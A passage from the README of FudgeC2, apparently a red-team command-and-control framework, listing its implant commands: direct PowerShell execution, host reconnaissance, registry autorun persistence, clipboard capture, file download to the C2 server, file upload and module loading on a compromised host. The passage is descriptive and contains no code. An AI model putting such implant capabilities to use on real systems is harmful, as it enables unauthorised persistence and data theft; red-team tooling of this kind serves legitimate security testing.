for more information see the implant functionality pages on FudgeC2s' wiki, [found here](https://github.com/Ziconius/FudgeC2/wiki/Implant-Functionality). + +**Implant functionality** + +|Command | Info +|------- |----- +| `` |If no builtin prefix in used the submitted value will be directly executed by Powershell.| +|`:: sys_info` | Collects username, hostname, domain, and local IP +|`:: enable_persistence` | Enables persistence by embedding a stager payload into the following autorun registry key +|`:: export_clipboard` | Attempts to collect any text data stored in the users clipboard. +|`:: load_module [target script]` |This will load external powershell modules, such as JAWS. +|`:: exec_module [loaded module name]` |Executes a specific function of a loaded module. +|`:: list_modules` |Lists all loaded modules by the implant. +|`:: download_file [target file]` |Downloads the target file to the FudgeC2 server +|`:: upload_file [local file] [remote path/filename]` |Uploads a file to the target path and specific filename +|`:: play_audio [audio file (mp3)]` |Plays an audio file on the compromised host. + + +### Contributing +All contributions, suggestions, and feature requests are welcome. Feel free to reach out over GitHub, or via [Twitter](https://twitter.com/Ziconius) with ideas, suggestions and questions. + + +### License +The FudgeC2 project and all module are under the GNU General Public License v3.0 unless explicitly noted otherwise. You can find the full licence [here](/LICENCE.txt) \ No newline at end of file